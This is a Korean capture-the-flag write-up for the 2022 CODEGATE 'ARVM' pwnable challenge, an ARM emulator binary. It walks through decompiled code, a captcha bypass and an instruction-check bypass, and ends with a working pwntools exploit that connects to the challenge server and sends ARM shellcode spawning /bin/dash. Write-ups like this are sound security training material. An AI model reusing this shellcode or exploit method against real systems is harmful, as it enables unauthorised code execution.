CTF/2022 CODEGATE

[2022 CODEGATE] ARVM Write-Up (Pwnable)

JUNFUTURE 2022. 3. 6. 16:03

2022 CODEGATE 예선전이 2월 26일 오후 7시 - 27일 오후 7시 진행되었다.
처음으로 참여해본 CODEGATE였는데,

팀원들과 나름 준수한 성적을 낸거 같아 개인적으로 참 뿌듯하다.
한 문제라도 잡고 확실하게 풀어보자라는 생각으로 임했는데, 다행히도 한문제는 풀었다.

 

그렇게 처음보자마자 쭉 붙잡고있었던 문제가 바로 arvm 문제이다.
Points : 793 (25 solves) 로 마감했고,
나는 26일 오후 7시부터 바로 시작해 27일 오전 4시~5시경에 풀었던 걸로 기억한다.

ARVM.zip
0.17MB

 

Welcome! Here is my Emulator. It can use only human.
Always SMiLEY :)

우선 arvm 문제의 Description을 보면 다음과 같이 Emulator라고 소개해주고있다.
그리고 human 만이 이걸 사용할 수 있다고 하는데, 코드에 captcha가 나온다.
(뒤에서 좀 더 자세히 살펴보자.)

FROM ubuntu:21.10


RUN apt update
RUN apt install -y xinetd qemu-user-static  gcc-arm-linux-gnueabi

RUN useradd ctf

RUN mkdir /home/ctf
ADD app /home/ctf/app
ADD run.sh /home/ctf/run.sh
ADD flag_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX /home/ctf/flag_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

RUN chmod 460 /home/ctf/*
RUN chown ctf:root /home/ctf/*
RUN chmod +x /home/ctf/app
RUN chmod +x /home/ctf/run.sh

ADD xinetd /etc/xinetd.d/
EXPOSE 1234

CMD ["/usr/sbin/xinetd","-dontfork"]
[*] '/home/jun/jun/CTF/20220226/app'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x10000)

다음과 같이 arm 으로 컴파일된 32비트 바이너리라는 걸 알 수 있다.

 

우리가 자주 보는 ISA : Intel
arvm의 바이너리 app

사실 문제를 풀었던거 보다 arm 디버깅을 위해서 환경세팅하는게 매우 힘들었는데, 관련된 내용은 아래링크에 잘 정리해 두었다.

https://juntheworld.tistory.com/98?category=983750 

 

Dockerfile 주어졌을때 CTF Configuration 정리 & ARM Cross Compile 및 ARM 바이너리 gdb 디버깅 하는법

CTF문제에서 다음과 같이 Dockerfile을 제공해주는 경우가 있다. 이때 만약 문제서버와 동일한 환경에서 바이너리를 실행시키며 디버깅을 하고싶을땐 어떻게 해야할까? 그래서 준비해봤다. 1. docker

juntheworld.tistory.com

보호기법을 분석해보면,


RELRO : Partial RELRO

=> PLT/GOT Overwrite 가능

Stack : Canary found

=> RET Overwrite 시에 카나리 우회필요

NX : NX enabled
=> 스택 영역에서의 실행권한 없음. => 지역 버퍼에 쉘코드 삽입 - 실행 불가
PIE : No PIE (0x10000)
=> 코드영역 ASLR 없음.

정도이다. 보호기법만 보고 떠올릴 수 있었던 공격기법은
코드 내에 있는 함수포인터를 PLT/GOT로 Overwrite 후 ROP로 주물럭하는 것 정도.. 를 생각해보았다.

그럼 얼른 코드를 분석해보자.

int __fastcall main(int a1, char **a2, char **a3)
{
  void *memcpy_dst; // r0
  int buf; // [sp+4h] [bp-30h] BYREF
  int user_input; // [sp+8h] [bp-2Ch] BYREF
  int select_index; // [sp+Ch] [bp-28h]
  int fd; // [sp+10h] [bp-24h]
  void *dest; // [sp+14h] [bp-20h]
  char s[16]; // [sp+1Ch] [bp-18h] BYREF
  void *stack_chk_guard_addr; // [sp+2Ch] [bp-8h]

  stack_chk_guard_addr = &_stack_chk_guard;
  if ( sub_1088C() == -1 )
    exit(-1);
  if ( welcome_func() == -1 )
    exit(-1);
  if ( edit_code() == -1 )
    exit(-1);
  while ( 1 )
  {
    print_menu();
    memset(s, 0, sizeof(s));
    read(0, s, 0x10u);
    select_index = atoi(s);
    if ( select_index == 1 )
      break;
    if ( select_index == 2 )
    {
      write(1, *(const void **)(bss + 8), 0x1000u);
    }
    else if ( select_index == 3 )
    {
      if ( welcome_func() == -1 )
        exit(-1);
      if ( edit_code() == -1 )
        exit(-1);
    }
  }
  buf = 0;
  fd = open("/dev/urandom", 2);
  read(fd, &buf, 4u);
  close(fd);
  puts("Before run, it has some captcha");
  printf("Secret code : 0x%x\n", buf);
  user_input = 0;
  printf("Code? :> ");
  _isoc99_scanf("0x%x", &user_input);
  if ( buf != user_input )
  {
    puts("You are Robot!");
    exit(-1);
  }
  if ( what_the() == -1 )
    exit(-1);
  puts("Good! Now Execute Real Machine");
  dest = calloc(1u, 0x1000u);
  memcpy(dest, *(const void **)(bss + 8), 0x1000u);
  memset(*(void **)(bss + 8), 0, 0x1000u);
  memcpy(*(void **)(bss + 8), &unk_1346C, 0x34u);
  memcpy_dst = memcpy((void *)(*(_DWORD *)(bss + 8) + 0x34), dest, 0xFCCu);
  (*(void (__fastcall **)(void *))(bss + 8))(memcpy_dst);
  return 0;
}

우선 초기화 부분을 빼고 while(1) 내부의 메인함수의 로직을
크게 3가지로 판단했는데, 하나씩 살펴보자.

(*(void (__fastcall **)(void *))(bss + 8))(memcpy_dst);

우선 여기서 매우 주의깊게 봐야하는 것은 맨 마지막 줄에서 bss+8 주소를 함수포인터로 실행을 시켜버린다는 거다.

인자는 memcpy_dst로. 이 정도 우선 기억하고있으면서 아래 로직을 봐보자.

 

1. Select menu Logic

    print_menu();
    memset(s, 0, sizeof(s));
    read(0, s, 0x10u);
    select_index = atoi(s);
    if ( select_index == 1 )
      break;
    if ( select_index == 2 )
    {
      write(1, *(const void **)(bss + 8), 0x1000u);
    }
    else if ( select_index == 3 )
    {
      if ( welcome_func() == -1 )
        exit(-1);
      if ( edit_code() == -1 )
        exit(-1);
    }
  }

print_menu 함수를 통해 유저에게 1/2/3 입력을 받고 그에 적절한 처리를 해준다.
1. => exit

2. => write
3. => edit_code

 

여기서 3번 edit_code()에 주목해보면은

int edit_code()
{
  ssize_t read_bytes; // [sp+4h] [bp-8h]

  read_bytes = read(0, *(void **)(bss + 8), 0xFBFu);
  if ( read_bytes < 0 )
    return -1;
  if ( (read_bytes & 3) != 0 )
    return -1;

  memcpy((void *)(*(_DWORD *)(bss + 8) + read_bytes), &unk_13384, 0xCu);
  return 0;
}

edit_code에서 bss+8위치에 값을 읽어서 넣는다.
그런데 여기서 핵심이 read로 입력받은 바이트가 아래 조건을 만족시켜야한다는 거다.

if ( read_bytes < 0 )
    return -1;
    
if ( (read_bytes & 3) != 0 )
    return -1;

첫번째 조건은 입력한 바이트가 0보다만 크면 되니까 크게 상관이 없는데

두번째 조건은 read로 입력한 바이트 수가 3이랑 비트 & 했을때 0 이어야 한다... 아래 사진을 같이보자.

(read_bytes &amp;amp;amp;amp;amp; 3) != 0 조건통과하는 경우

해당 경우 "123\n"을 입력하여 4글자를 입력한 경우인데, (즉 화면에서는 123만 입력하고 엔터를 친 것이다.)

다음과 같이 조건문을 통과하여 다음 루틴으로 넘어가는 것을 확인할 수 있다.

4바이트 (123\n) 를 입력하니 다음루틴이 실행된 것을 확인할 수 있다.

한번 곰곰히 생각해보자.

3은 이진수로 011이고,
4는 이진수로 100이니 둘이 비트 AND(&) 연산을 취하면 값이 0이 된다.

따라서 우리는 이진수로 XXXXX00 형태의 길이가 되도록 입력을 해주면 해당 조건문을 통과할 수 있다.
ex) 입력한 바이트 수 == 8(1000) 12(1100) 

 

눈치 챈 사람도 있겠지만, 4바이트 배수로 밖에 못넣는다.
그러니까 32비트에서 4바이트씩.. 꽤나 친절하다.

int edit_code()
{
  ssize_t read_bytes; // [sp+4h] [bp-8h]

  read_bytes = read(0, *(void **)(bss + 8), 0xFBFu);
  if ( read_bytes < 0 )
    return -1;
  if ( (read_bytes & 3) != 0 )
    return -1;

  memcpy((void *)(*(_DWORD *)(bss + 8) + read_bytes), &unk_13384, 0xCu);
  return 0;
}

다시한번 코드를 보면, read로 입력을 받을때에 0xFBF 만큼 입력을 받으니,
XXXX00 형태만 맞춰주도록 길이를 넣으면 되니, 이것만 맞춰주면 입력하는데에 크게 문제는 없어보인다!!
(입력할때 필요없는부분 0x00 으로 넣어버리면 되니까)

그렇게 드디어, bss+8 위치에 우리가 원하는 값을 4바이트 단위씩 최대 0xFBF만큼 넣을 수 있게되었다.

4바이트 입력해줘서, bss+8 인 0x1000 위치 4바이트 뒤인 0x1004에 0xe3a07001 값이 들어간 모습

우리가 입력을 하고 난 뒤에는 memcpy로 우리가 입력한 값 바로 뒤에 &unk_13384의 값을 memcpy하는데,
이게 뭔지는 자세히 모르겠다.

무튼 bss+8 위치에는 우리가 입력한 값이 들어간다는 것을 확인할 수 있다.

무튼 결론적으로 초기 화면에서 3.edit code를 선택하고 4바이트 단위로 길이를 맞춰, bss+8 위치에 우리가 원하는 값을 쓸 수 있다는 것을 확인했다.

 

2. Captcha Logic

  //get random code
  buf = 0;
  fd = open("/dev/urandom", 2);
  read(fd, &buf, 4u);
  close(fd);

  //captcha(Secret code) print
  puts("Before run, it has some captcha");
  printf("Secret code : 0x%x\n", buf);
  user_input = 0;
  printf("Code? :> ");

  //check captcha(Secret code)
  result_scanf = _isoc99_scanf("0x%x", &user_input);
  if ( buf != user_input )
  {
    puts("You are Robot!");
    exit(-1);
  }
  //some error in scanf...
  if ( sub_10BB0(result_scanf) == -1 )
    exit(-1);
    
  puts("Good! Now Execute Real Machine");

실행시점에 랜덤 값이 생성되고 이걸 인증해야 하는데,
프로그램에서 그냥 대놓고 출력해주니 leak을 통해 쉽게 우회할 수 있다. 

  //captcha(Secret code) print
  puts("Before run, it has some captcha");
  printf("Secret code : 0x%x\n", buf);
  user_input = 0;
  printf("Code? :> ");

  //check captcha(Secret code)
  result_scanf = _isoc99_scanf("0x%x", &user_input);
  if ( buf != user_input )
  {
    puts("You are Robot!");
    exit(-1);
  }

해당 구문은 buf에 랜덤 숫자를 넣은 뒤 내가 입력하는 숫자(user_input)이 해당 랜덤 값(buf)과
동일한지 검사하는 부분이다. 

p.recvuntil(":")
secret_code = p.recvline()[:-1]
slog("secret_code", int(secret_code,16))

p.sendlineafter("> ", secret_code[1:])

다음과 같은 python 코드로 우회할 수 있다.

secret_code leak success

 

3. func pointer excute Logic

  if ( what_the() == -1 )
    exit(-1);
    
  puts("Good! Now Execute Real Machine");
  
  dest = calloc(1u, 0x1000u);
  memcpy(dest, *(const void **)(bss + 8), 0x1000u);
  memset(*(void **)(bss + 8), 0, 0x1000u);
  memcpy(*(void **)(bss + 8), &unk_1346C, 0x34u);
  
  memcpy_dst = memcpy((void *)(*(_DWORD *)(bss + 8) + 0x34), dest, 0xFCCu);
  
  (*(void (__fastcall **)(void *))(bss + 8))(memcpy_dst);
  
  return 0;

captcha를 통과하고 나면, 다음과 같이 비로소 real machine을 execute할 수 있게된다.

핵심은 이 부분이다.

  memcpy_dst = memcpy((void *)(*(_DWORD *)(bss + 8) + 0x34), dest, 0xFCCu);
  
  (*(void (__fastcall **)(void *))(bss + 8))(memcpy_dst);

bss+8 위치에 있는 코드를 실행하고 이때 인자로 memcpy_dst를 전달한다.
memecpy_dst의 값은 바로 윗 라인에서 실행한 memcpy의 반환 값이며, memcpy 반환값은 dest의 주소이다.

#include <string.h>

void *memcpy(void *dest, const void *src, size_t n);

여기까지 보고 문제를 풀면서 아래와 같이 정리를 했다.

captcha 를 통과하고 나면
1. dest에 bss_buf에 담긴 값을 붙어넣고 bss_buf를 초기화 한다.
2. 이후 bss_buf에 &unk_1346C에 있는 값을 붙여넣고
3. dest에 있는 값을 bss_buf+8+52 위치에 넣는다.
4. 그리고 bss_buf+8에 있는 함수를 bss_buf+8+52를 인자로 넘겨주고 실행시킨다.
5. 결국 bss_buf+8에 시스템콜 함수(execve? system?) bss_buf+8+52에 "/bin/sh"을 인자로 넘겨주면 될 것 같다.

이지만.....

사실 인자 값(bss_buf+8+52)은 필요 없이도 풀 수 있었는데,
이유는 나는 bss+8 위치에 그냥 shellcode를 입력해서 풀었기 때문이다.

어찌 되었든 bss+8 위치의 코드를 실행하고, 그럴려면 bss+8위치에 내가 원하는 값(코드)을 넣어야만 한다.

 

다만 이때 is_it_instruction_() 함수를 통과(return 값을 -1이 아닌 다른 값으로 리턴할 수 있도록)해야만 하는데

핵심은 v3 값을 첫번째 반복만에 0으로 만들어야한다.

무조건 첫번째 반복에 v3(now_num)를 0 값으로 만들어야한다.

아래 전체 코드를 보며 이해해보자.

int is_it_instruction_()
{
  unsigned int routine_index; // r0
  int i; // [sp+0h] [bp-Ch]
  int now_num; // [sp+4h] [bp-8h]

  for ( i = -1; *(_DWORD *)(*(_DWORD *)bss + 60) < (unsigned int)(*(_DWORD *)(bss + 8) + 4096); i = now_num )
  {
    if ( *(_DWORD *)(*(_DWORD *)bss + 60) < *(_DWORD *)(bss + 8) )
      break;
    now_num = **(_DWORD **)(*(_DWORD *)bss + 60);
    *(_DWORD *)(*(_DWORD *)bss + 60) += 4;
    if ( !i )
      break;
    if ( i != -1 && !not_first(i) )
      error(i);
    routine_index = get_index(i);
    if ( routine_index <= 4 )
    {
      switch ( routine_index )
      {
        case 0u:
          if ( sub_117B8(i) == -1 )
            error(i);
          continue;
        case 1u:
          if ( sub_11D98(i) == -1 )
            error(i);
          continue;
        case 2u:
          if ( sub_11F28(i) == -1 )
            error(i);
          now_num = -1;
          continue;
        case 3u:
          if ( get_my_flag() == -1 )
            error(i);
          continue;
        case 4u:
          if ( sub_12000(i) == -1 )
            error(i);
          continue;
        default:
          goto LABEL_23;
      }
    }
    if ( routine_index != -1 )
LABEL_23:
      error(i);
  }
  return 0;
}

get_index 함수

1. switch 문에 들어가는 순간 error임 (Instruction 0x%x is invalid)
2. get_index에서 -1을 리턴해주면 처음은 통과됨 (unsigned_int 이기 때문)

3. 무조건 첫 반복 만에 v3 값을 0으로 만들어야함 => **(bss+60) 값이 0이어야됨

 

get_index에서 -1을 리턴해주면 처음은 통과됨 (unsigned_int 이기 때문)?

unsigned int routine_index;

...

routine_index = get_index(i);
if ( routine_index <= 4 )

위 코드에서 i값이 -1로 들어가면 (처음 반복일때)
get_index는 -1을 리턴해 주는데, routine_index의 자료형이

unsigned_int 이기 때문에 if문을 통과함 (integer underflow)


**(bss+60) 에는 무엇이 있을까?

=> (결론) 내가 입력한 값이 있다. for문을 돌면서 내가 입력한 값 4바이트씩 검사하는 루틴

fp-8에 r3값을 넣는다. fp-8은 now_num이고 r3에는 내가 입력한 값 처음 4바이트가 담겨있다.
i값이 될 now_num(v3) 값은 bp-8 (fp-8) 위치에 있다.&amp;amp;nbsp;

위의 코드는 아래 코드의 디스어셈블러 부분이다.

    now_num = **(_DWORD **)(*(_DWORD *)bss + 60);

fp-8 (bp-8) 위치에 now_num (v3) 변수가 있으며,
해당 위치에 0x1000 (bss+8)에 있던 값. 즉, 내가 입력해준 처음 4바이트가 들어간 것을 볼 수 있다.

 

결론을 내보면, *(bss+60) 위치에는 bss+8 (0x1000)이 있고, **(bss+60)에는 내가 입력한 코드가 있다.

아래는 위에서 살펴본 코드 아래에 있던 *(bss+60) 값을 +4해주는 부분을 살펴본 부분이다.

역시나 *(bss+60) 위치에는 bss+8 (0x1000)이 있다는 걸 알 수 있다.

    *(_DWORD *)(*(_DWORD *)bss + 60) += 4;

r2에 0x1000이 r3+0x3C (60) 위치에는 bss+8 값이 담겨있다.

 

결론

1. 입력하는 값은 4바이트 단위로 해야한다. (4 / 8 / 12 ...)

2. 이때 첫번째 입력하는 4바이트는 반드시 0이어야한다. (0x00000000)

3. arm에서 동작하는 쉘코드를 입력해주면된다.

 

이에 내가 입력한 코드로 잘 실행흐름이 옮겨지는지 확인해보기 위하여

아래와 같은 익스코드를 짜서 실행흐름이 "AAAA"로 잘 넘어가는지 테스트해보았다.

from pwn import *

p = remote("15.165.92.159", 1234)
#p = process(['qemu-arm-static','-L', '/usr/arm-linux-gnueabi', '-g', '8888', './app'])
e = ELF("./app")
pause()

# gdb.attach(p)
def slog(symbol, addr): return success(symbol + ": " + hex(addr))

context.log_level = 'debug'

sleep(5)

payload = b"\x00"*4
payload += b"A"*7

p.sendlineafter("> ", payload)
p.sendlineafter("> ", "1")

p.recvuntil(":")
secret_code = p.recvline()[:-1]
slog("secret_code", int(secret_code,16))

p.sendlineafter("> ", secret_code[1:])
p.interactive()

0xC 바이트를 맞춰주기 위해 A를 7개 입력했다.

이를 위해 arm에서 점프 명령어에 해당하는 blx 부분에 브레이크 포인트를 걸었다.

r3에 있는 위치로 점프한다.&amp;amp;nbsp;

위의 사진처럼 r3로 점프를 하는데 이 값은 0x1000이었다.

어찌 되었던 뭔가 이상한 코드들을 실행시키다가 

결국 내가 입력한 코드로 점프를 한다.

0x1038에 내 코드가 있는 이유는

이거 때문에. 결국 0x1346C 위치에는 함수 호출을 위해서 세팅해줘야하는 친구들이 있었나보다 친절하게도
그러니까 이거는 무슨 뜻이냐면

이런식으로 내가 입력한 코드 호출하기 전에 레지스터 값들을 초기화 하는 부분이 있는데,

이 코드가 0x1346C 위치에 있었는가 보다.

 

쨋든 이제 위의 조건을 맞춰서 쉘코드를 전송해주자.

딱 0x28로 4바이트단위로 끊어지며 깔끔하게 익스 성공했다.

최종 패이로드

from pwn import *

p = remote("15.165.92.159", 1234)
#for debugging
#p = process(['qemu-arm-static','-L', '/usr/arm-linux-gnueabi', '-g', '8888', './app'])

#for just execute in local
#p = process(['qemu-arm-static','-L', '/usr/arm-linux-gnueabi', './app'])

e = ELF("./app")

#waiting for gdb-multiarch..
pause()

def slog(symbol, addr): return success(symbol + ": " + hex(addr))

context.log_level = 'debug'

sleep(5)

payload = b"\x00"*4
payload += b"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46\x00\x00\x00"

p.sendlineafter("> ", payload)
p.sendlineafter("> ", "1")

p.recvuntil(":")
secret_code = p.recvline()[:-1]
slog("secret_code", int(secret_code,16))

p.sendlineafter("> ", secret_code[1:])
p.interactive()

 

(참고)

자주 쓴 명령어

#qemu 띄우기
qemu-arm-static -L /usr/arm-linux-gnueabi -g 8888 ./app

#크로스컴파일 gdb 실행 (arm 바이너리 디버깅)
gdb-multiarch

#arm으로 arc설정
set arc arm

#gdb에서 붙기
target remote localhost:8888

#실행중인 컨테이너 접속
sudo docker exec -it arvm /bin/bash

app 핵심 브레이크 포인트

#main
b* 0x10e18

#edit_code memcpy (초기 입력. 3번 선택 후 입력 &3 조건 맞춰줘야 트리거가능)
b* 0x10b68

#위에 memcpy 끝나고 난 시점
b* 0x10b6c

#captcha 통과 후에 또 한번 검증 함수로
b* 10f50

#v3 세팅하는 부분
b* 0x10c2c

#case 2로
b* 0x11298

#what_the 반복문 시작
b* 0x10bc4

#switch문 시작
b* 0x10C9C

#*(0x1000) > *(0x1000+4n) 비교 - 참이면 통과
b* 0x10c10

#출력 해줄때
b* 0x11058

#not_first
b* 0x11314

#r28
b* 0x114b8

#get_my_flag - 진입조건 : 입력시 0xEF 맨앞에
b* 0x126EC